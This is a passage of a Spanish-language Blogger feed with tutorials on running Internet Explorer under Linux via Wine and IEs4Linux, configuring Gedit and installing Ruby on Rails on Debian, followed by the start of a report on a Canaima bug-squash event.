&lt;strike&gt;desgracia&lt;/strike&gt; sorpresa solo se podía generar con iexplorer.&lt;br /&gt;&lt;br /&gt;Le di mil vueltas al asunto, consulté con algunos amigos que tenían el mismo problema y todos coincidíamos en lo mismo; no había manera de hacerlo desde Firefox/Iceweasel/Opera/Safari. Mi PC ni siquiera sabe lo que es Windows (ni lo sabrá =P), así que la solución de instalar Windows en una pequeña partición o en una máquina virtual solo para hacer una transferencia está descartada. Mi último recurso era &lt;strong&gt;Wine&lt;/strong&gt; y el famoso &lt;strong&gt;IEs4Linux&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt;IEs4Linux es un script que te descarga el instalador (y todos los archivos necesarios) de Internet Explorer desde la página de Microsoft y lo instala en una especie de sandbox con Wine. A pesar de que parece muy simple, me dió varios errores durante la instalación así que voy a explicar los pasos que seguí para instalarlo sin problemas.&lt;br /&gt;&lt;br /&gt;Antes de continuar debo aclarar lo siguiente: Microsoft pide una licencia original de Windows para instalar cualquier programa (incluso para &lt;strike&gt;la basura de&lt;/strike&gt; Internet Explorer) aunque sea bajo GNU/Linux. Si no tienes la fulana licencia estas cometiendo un delito &lt;strike&gt;al igual que yo&lt;/strike&gt;.&lt;br /&gt;&lt;br /&gt;Continuemos; primero nos descargamos el cabextract y por supuesto el wine (como root):&lt;br /&gt;&lt;code&gt;# aptitude install cabextract wine&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Luego descargamos el ies4linux, en una terminal escribimos (como usuario normal):&lt;br /&gt;&lt;code&gt;$ wget http://www.tatanka.com.br/ies4linux/downloads/ies4linux-latest.tar.gz&lt;br /&gt;$ tar zxvf ies4linux-latest.tar.gz&lt;br /&gt;$ cd ies4linux-*&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora para que funcione correctamente, debemos copiar el cabextract dentro de una carpeta llamada tmp (dentro de la carpeta de instalación del ies4linux). Para eso ejecutamos lo siguiente en la terminal anterior:&lt;br /&gt;&lt;code&gt;$ mkdir tmp&lt;br /&gt;$ cp /usr/bin/cabextract tmp/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Finalmente ejecutamos el script:&lt;br /&gt;&lt;code&gt;$ ./ies4linux&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Cuando aparezca el asistente seleccionamos la versión de iexplorer que deseamos instalar, el idioma en inglés (EN-US) y quitamos la instalación del flash (puesto que el flash 9 da algunos problemitas).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SY7mk7K4mOI/AAAAAAAAAK4/peYTwF_2diY/s1600-h/ies4linux1.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 234px; height: 320px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SY7mk7K4mOI/AAAAAAAAAK4/peYTwF_2diY/s320/ies4linux1.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5300427333494675682" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Hacemos click en "Aceptar" y comenzará la instalación.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SY7mk7YbT8I/AAAAAAAAALA/Q0YceSMTrsQ/s1600-h/ies4linux2.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 309px; height: 320px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SY7mk7YbT8I/AAAAAAAAALA/Q0YceSMTrsQ/s320/ies4linux2.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5300427333551476674" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_oLUxtmo5LIU/SY7mlEUXfgI/AAAAAAAAALI/z8xDClZwEfM/s1600-h/ies4linux3.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 309px; height: 320px;" src="http://4.bp.blogspot.com/_oLUxtmo5LIU/SY7mlEUXfgI/AAAAAAAAALI/z8xDClZwEfM/s320/ies4linux3.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5300427335950368258" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cuando el instalador termine tendremos el iexplorer listo para usar, solo faltaría instalar el flash player (en caso de que sea necesario) y para eso basta con visitar la página de Adobe &lt;a href="http://get.adobe.com/es/flashplayer/"&gt;http://get.adobe.com/es/flashplayer/&lt;/a&gt;, descargar y ejecutar.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SY7nmLj2ASI/AAAAAAAAALQ/8Di2UwHeJY0/s1600-h/ies4linux4.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 277px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SY7nmLj2ASI/AAAAAAAAALQ/8Di2UwHeJY0/s320/ies4linux4.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5300428454585827618" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Ojala y pronto esas páginas dejen de estar casadas con Microsoft para que podamos ser completamente libres de elegir nuestro navegador preferido sin tener que &lt;strike&gt;infringir la ley&lt;/strike&gt; recurrir a métodos oscuros para hacer nuestras tareas cotidianas =D.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-5404603824145373110?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/5404603824145373110/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=5404603824145373110&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5404603824145373110'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/5404603824145373110'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/02/instalar-iexplorer-en-gnulinux.html' title='Instalar IExplorer en GNU/Linux'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_oLUxtmo5LIU/SY7mk7K4mOI/AAAAAAAAAK4/peYTwF_2diY/s72-c/ies4linux1.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-4600964407301857746</id><published>2009-01-14T04:22:00.000-08:00</published><updated>2009-06-21T20:34:00.188-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Editores'/><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><title type='text'>La Aventura de Ruby on Rails (Parte 2): El entorno de desarrollo</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;En la entrega pasada instalamos Ruby y Rails con todos los complementos necesarios para crear una aplicación web. Ahora vamos a configurar nuestro entorno de desarrollo para empezar a echar las primeras líneas de código.&lt;br /&gt;&lt;br /&gt;Para aquellos que adoran las funcionalidades de un IDE como eclipse entonces les dejo este &lt;a href="http://www.easyeclipse.org/site/home/"&gt;link&lt;/a&gt;. Desde allí pueden descargar EasyEclipse; un entorno basado en Eclipse pero viene listo para programar en Ruby on Rails (trae muchas otras funcionalidades pero no me he tomado la molestia de revisarlo al detalle).&lt;br /&gt;&lt;br /&gt;A mi, sin embargo, me gusta más la simplicidad y siempre he pensado que los IDE consumen muchos recursos, es por eso que un simple editor de textos es la solución perfecta a mis necesidades. A partir de este punto explicaré como transformar al Gedit (el editor por defecto de GNOME) en una poderosa herramienta de desarrollo.&lt;br /&gt;&lt;br /&gt;La siguiente receta está basada en un trabajo del amigo Joselo en su blog &lt;a href="http://blog.nationcode.com/articles/2008/04/06/gedit-como-textmate-mejorado-para-rails-en-gnu-linux"&gt;NationCode: Gedit como Textmate mejorado para GNU/Linux&lt;/a&gt; pero adaptada para cubrir mis necesidades. Todos los archivos necesarios para aplicarla puedes descargarlos de &lt;a href="http://wil.alejandro.googlepages.com/gedit-dev-1.2.tar.gz"&gt;aquí&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Dentro del archivo comprimido está un script que realiza la instalación por sí solo, lo único que debes hacer es descomprimirlo, entrar a la carpeta y ejecutarlo con permisos de súper usuario; algo más o menos así:&lt;br /&gt;&lt;code&gt;tar -xzf gedit-dev-1.2.tar.gz&lt;br /&gt;cd gedit-dev&lt;br /&gt;sudo sh gedit-dev-sh&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Si quieres instalarlo uno a uno tú mismo entones continúa leyendo la receta :D&lt;br /&gt;&lt;br /&gt;A partir de este punto ejecutaremos las instrucciones como súper usuario. Lo primero que haremos será instalar los plugins extra de Gedit&lt;br /&gt;&lt;code&gt;# aptitude install gedit-plugins&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Posteriormente editamos el archivo &lt;b&gt;/etc/mime.types&lt;/b&gt; y agregamos estas líneas al final:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;text/x-ruby-source                           rhtml html.erb&lt;br /&gt;text/x-eruby                                    rjs&lt;br /&gt;text/x-yaml                                      yml&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;A continuación actualizamos las extensiones mime types:&lt;br /&gt;&lt;code&gt;update-mime-database /usr/share/mime&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Nos posicionamos en la carpeta descomprimida de gedit-dev y copiamos el archivo &lt;b&gt;x-rhtml.xml&lt;/b&gt; a la carpeta &lt;b&gt;/usr/share/mime/packages&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;cp mime/x-rhtml.xml /usr/share/mime/packages&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Copiamos las definiciones de rhtml, ruby, rjs y yml a la carpeta &lt;b&gt;/usr/share/gtksourceview-2.0/language-specs&lt;/b&gt;:&lt;br /&gt;&lt;code&gt;cp langs/*.lang /usr/share/gtksourceview-2.0/language-specs&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora salimos del modo súper usuario (pero nos quedamos dentro de la carpeta gedit-dev) y nos devolvemos a nuestro usuario regular. Instalamos los otros plugins de Gedit:&lt;br /&gt;&lt;code&gt;mkdir -p ~/.gnome2/gedit/plugins/&lt;br /&gt;cp -R plugins/* ~/.gnome2/gedit/plugins/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos los recortes para el Gedit&lt;br /&gt;&lt;code&gt;mkdir -p ~/.gnome2/gedit/snippets/&lt;br /&gt;cp -R snippets/*  ~/.gnome2/gedit/snippets/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y luego instalamos los estilos o temas de colores para el resaltado de la sintaxis:&lt;br /&gt;&lt;code&gt;mkdir -p ~/.gnome2/gedit/styles/&lt;br /&gt;cp styles/*  ~/.gnome2/gedit/styles/&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Ahora configuramos el Gedit. En el menú &lt;b&gt;Editar-&gt;Preferencias&lt;/b&gt;, pestaña &lt;b&gt;Ver&lt;/b&gt; debemos desactivar el ajuste de texto, mostramos los números de línea, la línea actual y el margen derecho; establecemos el margen en la columna 80 y resaltamos la pareja del corchete.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SXM0agzju5I/AAAAAAAAAKE/TcRCJtbgGiw/s1600-h/prefs-ver.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 312px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SXM0agzju5I/AAAAAAAAAKE/TcRCJtbgGiw/s320/prefs-ver.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5292631617177893778" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En la pestaña &lt;b&gt;Editor&lt;/b&gt; establecemos el ancho del tabulador a 2, insertamos espacios en lugar de tabuladores, activamos la sangría automática, desactivamos la copia de respaldo y autoguardamos cada 10min.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_oLUxtmo5LIU/SXM0n_QOGCI/AAAAAAAAAKM/hM2J7vohyc8/s1600-h/prefs-editor.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 310px;" src="http://3.bp.blogspot.com/_oLUxtmo5LIU/SXM0n_QOGCI/AAAAAAAAAKM/hM2J7vohyc8/s320/prefs-editor.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5292631848689473570" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;En la pestaña &lt;b&gt;Tipografía&lt;/b&gt; seleccionamos el tema &lt;b&gt;Serious&lt;/b&gt; y en &lt;b&gt;Complementos&lt;/b&gt; activamos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Dibujar espacios&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Panel del examinador de archivos&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Recortes&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Salvasesiones&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Snap Open&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;El resultado un simple pero poderoso editor listo para Ruby on Rails :)&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-4600964407301857746?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/4600964407301857746/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=4600964407301857746&amp;isPopup=true' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4600964407301857746'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/4600964407301857746'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2009/01/la-aventura-de-ruby-on-rails-el-entorno.html' title='La Aventura de Ruby on Rails (Parte 2): El entorno de desarrollo'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_oLUxtmo5LIU/SXM0agzju5I/AAAAAAAAAKE/TcRCJtbgGiw/s72-c/prefs-ver.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-1030703095929578390</id><published>2008-12-26T19:56:00.000-08:00</published><updated>2009-04-21T06:40:29.233-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tutoriales'/><category scheme='http://www.blogger.com/atom/ns#' term='Ruby on Rails'/><category scheme='http://www.blogger.com/atom/ns#' term='Instalaciones'/><title type='text'>La Aventura de Ruby on Rails (Parte 1): El inicio</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Este post es el inicio de una serie en la que pretendo ilustrar mis experiencias e impresiones en el mundo de Ruby on Rails. Debo decir que al momento de escribir esto conozco realmente poco (por no decir nada) sobre Ruby, Rails y afines, así que empezaré desde cero. Vamos con un poco de teoría&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;¿Qué es Ruby?&lt;/strong&gt;&lt;br/&gt;Ruby es un lenguaje de programación interpretado, reflexivo y orientado a objetos, creado por el programador japonés Yukihiro Matsumoto y distribuido bajo licencias libres. Combina una sintaxis inspirada en Python y Perl, con características de programación orientada a objetos similares a Smalltalk. Comparte también funcionalidad con otros lenguajes de programación como Lisp, Lua, Dylan y CLU&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;¿Qué es Ruby on Rails?&lt;/strong&gt;&lt;br/&gt;Ruby on Rails (RoR o Rails) es un entorno de desarrollo web de código abierto escrito en Ruby y optimizado para satisfacción de los programadores y de la productividad. Te permite escribir aplicaciones web siguiendo el paradigma de la arquitectura Modelo Vista Controlador (MVC) y su filosofía principal es: &lt;em&gt;Favorecer la convención antes que la configuración&lt;/em&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;¿Qué son las Gemas de Ruby o Ruby Gems?&lt;/strong&gt;&lt;br/&gt;Las Gemas son paquetes autocontenidos utilizados por Ruby oficialmente para distribuir librerías y aplicaciones. Son empleadas por Rails para la instalación de su entorno&lt;/li&gt;&lt;br /&gt;&lt;li&gt;&lt;strong&gt;¿En qué consiste la arquitectura MVC?&lt;/strong&gt;&lt;br/&gt;En pocas palabras podemos decir que la arquitectura MVC separa una aplicación en 3 capas: el &lt;b&gt;Modelo&lt;/b&gt;, la &lt;b&gt;Vista&lt;/b&gt; y el &lt;b&gt;Controlador&lt;/b&gt;. El Modelo trabaja directamente con las fuentes de datos (bases de datos, sockets, etc) y es el encargado de la integridad de la información. La Vista es la interfaz que usará la aplicación para interactuar con el usuario y la que se usará para mostrar los datos del modelo. La Vista debe ser "tonta" en el sentido de que no debe tener conocimiento alguno sobre las fuentes de datos, los eventos u otros, solo debe mostrar la información que se le indique. Por último, el controlador es quien maneja los eventos de la aplicación, digamos que es la "pega" entre el Modelo y la Vista; puede interactuar con las funciones del modelo y envía información a la Vista.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;Dicho esto empecemos con la instalación del ambiente Ruby on Rails. Las siguientes instrucciones están hechas para Debian Lenny 5.0 e instalarán Ruby 1.8 y Rails 1.2.6.&lt;br /&gt;&lt;br /&gt;Instalamos Ruby y todos los paquetes necesarios (como super usuario):&lt;br /&gt;&lt;code&gt;# aptitude update&lt;br /&gt;# aptitude install build-essential ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby mysql-server mysql-client&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Descargamos los paquetes necesarios para Ruby si no los tenemos (ver la página de &lt;a href="http://rubyforge.org"&gt;RubyForge&lt;/a&gt; para más información):&lt;br /&gt;&lt;code&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz"&gt;http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/26547/activesupport-1.4.4.gem"&gt;http://rubyforge.org/frs/download.php/26547/activesupport-1.4.4.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/28328/actionpack-1.13.6.gem"&gt;http://rubyforge.org/frs/download.php/28328/actionpack-1.13.6.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/28331/actionmailer-1.3.6.gem"&gt;http://rubyforge.org/frs/download.php/28331/actionmailer-1.3.6.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/28325/activerecord-1.15.6.gem"&gt;http://rubyforge.org/frs/download.php/28325/activerecord-1.15.6.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/28334/actionwebservice-1.2.6.ge"&gt;http://rubyforge.org/frs/download.php/28334/actionwebservice-1.2.6.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/19878/rake-0.7.3.gem"&gt;http://rubyforge.org/frs/download.php/19878/rake-0.7.3.gem&lt;/a&gt;&lt;br /&gt;$ wget &lt;a href="http://rubyforge.org/frs/download.php/28337/rails-1.2.6.gem"&gt;http://rubyforge.org/frs/download.php/28337/rails-1.2.6.gem&lt;/a&gt;&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Instalamos el manejador de paquetes de Ruby (RubyGems):&lt;br /&gt;&lt;code&gt;# tar -xvzf rubygems-1.2.0.tgz &lt;br /&gt;# cd rubygems-1.2.0&lt;br /&gt;# ruby setup.rb&lt;br /&gt;# ln -s /usr/bin/gem1.8 /usr/bin/gem&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Y por último instalamos las gemas que acabamos de descargar:&lt;br /&gt;&lt;code&gt;# gem install activesupport-1.4.4.gem&lt;br /&gt;# gem install actionpack-1.13.6.gem&lt;br /&gt;# gem install actionmailer-1.3.6.gem&lt;br /&gt;# gem install activerecord-1.15.6.gem&lt;br /&gt;# gem install actionwebservice-1.2.6.gem&lt;br /&gt;# gem install rake-0.7.3.gem&lt;br /&gt;# gem install rails-1.2.6.gem&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Es importante destacar que se deben instalar las versiones tal cual como aparecen aquí y en el mismo orden pues son las que funcionan correctamente entre sí.&lt;br /&gt;&lt;br /&gt;Para comprobar que todo ha ido bien basta con hacer:&lt;br /&gt;&lt;code&gt;$ ruby --version&lt;br /&gt;ruby 1.8.7 (2008-08-11 patchlevel 72) [i486-linux]&lt;br /&gt;$ rails --version&lt;br /&gt;Rails 1.2.6&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Con esto ya podemos empezar a crear aplicaciones en Rails :D pero dejaremos esa parte para la próxima entrega.&lt;br /&gt;&lt;br /&gt;Acá dejaré un script que se puede utilizar para instalar Ruby on Rails al toque, solo basta ejecutarlo como super usuario y él se encargará de hacer el resto ;)&lt;br /&gt;&lt;code&gt;#!/bin/bash&lt;br /&gt;#===================================================&lt;br /&gt;#&lt;br /&gt;# ruby_instalacion.sh - Script en bash que permite instalar Ruby On Rails&lt;br /&gt;# al vuelo&lt;br /&gt;#&lt;br /&gt;# Copyright (C) 2008:  Wil Alvarez &lt;wil_alejandro@yahoo.com&gt;&lt;br /&gt;#&lt;br /&gt;#===================================================&lt;br /&gt;&lt;br /&gt;# Instalar Ruby&lt;br /&gt;aptitude update&lt;br /&gt;aptitude install -y build-essential ruby ruby1.8-dev ri ri1.8 rdoc rdoc1.8 irb irb1.8 ruby1.8-examples libreadline-ruby libopenssl-ruby libdbi-ruby libdbd-mysql-ruby libdbd-pg-ruby libdbd-odbc-ruby libdbd-sqlite3-ruby libpgsql-ruby libmysql-ruby&lt;br /&gt;&lt;br /&gt;# Instalar RubyGems&lt;br /&gt;wget http://rubyforge.org/frs/download.php/38646/rubygems-1.2.0.tgz&lt;br /&gt;tar -xvzf rubygems-1.2.0.tgz &lt;br /&gt;cd rubygems-1.2.0&lt;br /&gt;ruby setup.rb&lt;br /&gt;GEM=/usr/bin/gem&lt;br /&gt;if [ -n $GEM ]; then&lt;br /&gt;    rm -f /usr/bin/gem&lt;br /&gt;fi&lt;br /&gt;ln -s /usr/bin/gem1.8 /usr/bin/gem&lt;br /&gt;cd ..&lt;br /&gt;rm -rf rubygems-1.2.0/&lt;br /&gt;&lt;br /&gt;# Instalar Rails&lt;br /&gt;wget http://rubyforge.org/frs/download.php/26547/activesupport-1.4.4.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/28328/actionpack-1.13.6.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/28331/actionmailer-1.3.6.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/28325/activerecord-1.15.6.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/28334/actionwebservice-1.2.6.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/19878/rake-0.7.3.gem&lt;br /&gt;wget http://rubyforge.org/frs/download.php/28337/rails-1.2.6.gem&lt;br /&gt;&lt;br /&gt;gem install activesupport-1.4.4.gem&lt;br /&gt;gem install actionpack-1.13.6.gem&lt;br /&gt;gem install actionmailer-1.3.6.gem&lt;br /&gt;gem install activerecord-1.15.6.gem&lt;br /&gt;gem install actionwebservice-1.2.6.gem&lt;br /&gt;gem install rake-0.7.3.gem&lt;br /&gt;gem install rails-1.2.6.gem&lt;br /&gt;&lt;br /&gt;rm activesupport-1.4.4.gem actionpack-1.13.6.gem actionmailer-1.3.6.gem activerecord-1.15.6.gem actionwebservice-1.2.6.gem rake-0.7.3.gem rails-1.2.6.gem&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6887761988295725170-1030703095929578390?l=damncorner.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://damncorner.blogspot.com/feeds/1030703095929578390/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6887761988295725170&amp;postID=1030703095929578390&amp;isPopup=true' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1030703095929578390'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6887761988295725170/posts/default/1030703095929578390'/><link rel='alternate' type='text/html' href='http://damncorner.blogspot.com/2008/12/la-aventura-de-ruby-on-rails-el-inicio.html' title='La Aventura de Ruby on Rails (Parte 1): El inicio'/><author><name>Wil Alvarez</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh3.googleusercontent.com/-rkzwg54C7iw/AAAAAAAAAAI/AAAAAAAAAgk/Prxq3G81DTI/s512-c/photo.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6887761988295725170.post-6105323509860897601</id><published>2008-12-26T18:28:00.000-08:00</published><updated>2008-12-26T19:31:34.192-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Canaima'/><title type='text'>Primera Cayapa Tećnica de Canaima 2.0</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size:85%;"&gt;Los días 05 y 06 de diciembre del presente año (2008 por si acaso :p) se celebró en la Península de Paraguaná el primer BSP (Bug Squash Party) sobre la distribución venezolana &lt;a href="http://damncorner.blogspot.com/2008/11/canaima-la-distribucin-gnulinux.html"&gt;GNU/Linux Canaima 2.0&lt;/a&gt;; evento que fue bautizado como &lt;b&gt;Cayapa Técnica&lt;/b&gt;. Para aquellos que no sean de Venezuela o no conozcan el significado, &lt;i&gt;"Cayapa"&lt;/i&gt; es el nombre que le dan los campesinos venezolanos al trabajo mancomunado, realizado de manera cooperativa. Así que de ahí sale el nombre tan original ;)&lt;br /&gt;&lt;br /&gt;La planta Venezolana de Industria Tecnológica (VIT) fue la sede anfitriona de tan importante evento al cual tuve la suerte ser invitado como miembro de la Comunidad de Software Libre y donde tuve el honor de compartir con otros compañeros de la comunidad y de instituciones gubernamentales como el Centro Nacional de Tecnologías de Información (CNTI), la Fundación para el Desarrollo de la Ciencia y la Tecnología (FUNDACITE) y el Centro Nacional de Desarrollo e Investigación en Tecnologías Libres (CENDITEL), entre otros.&lt;br /&gt;&lt;br /&gt;De más está decir que el evento fue netamente técnico (claro, con sus respectivos ratos de recreación y curda... ejmmm... perdón ocio xD) centrado en la búsqueda y resolución de errores en el proyecto Canaima. El equipo se dividió en 2 grupos; uno orientado a la parte técnica de la distribución y otro a la plataforma colaborativa. Al final de la jornada se reportaron 36 fallas y sugerencias sobre el sistema y la plataforma colaborativa, así como algunas ideas para su futura corrección. &lt;br /&gt;&lt;br /&gt;El evento también sirvió para realizar pruebas de funcionamiento del sistema operativo sobre los equipos de escritorio y portátiles de VIT, por lo que se espera que para el 2009 estos equipos ya vengan con Canaima 2.0 pre-instalado y corriendo de la mejor manera posible.&lt;br /&gt;&lt;br /&gt;A continuación dejo un álbum con unas pocas fotos de las instalaciones de la planta de VIT y del grupo de trabajo de la Cayapa :D&lt;br /&gt;&lt;br /&gt;&lt;table style="width:194px;"&gt;&lt;tr&gt;&lt;td align="center" style="height:194px;background:url(http://picasaweb.google.com/f/img/transparent_album_background.gif) no-repeat left"&gt;&lt;a href="http://picasaweb.google.es/wil.alejandro/CanaimaBSP1?feat=embedwebsite"&gt;&lt;img src="http://lh4.ggpht.com/_oLUxtmo5LIU/SVWf8t5lG9E/AAAAAAAAAJ8/2cexAvH63F0/s160-c/CanaimaBSP1.jpg" width="160" height="160" style="margin:1px 0 0 4px;"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td 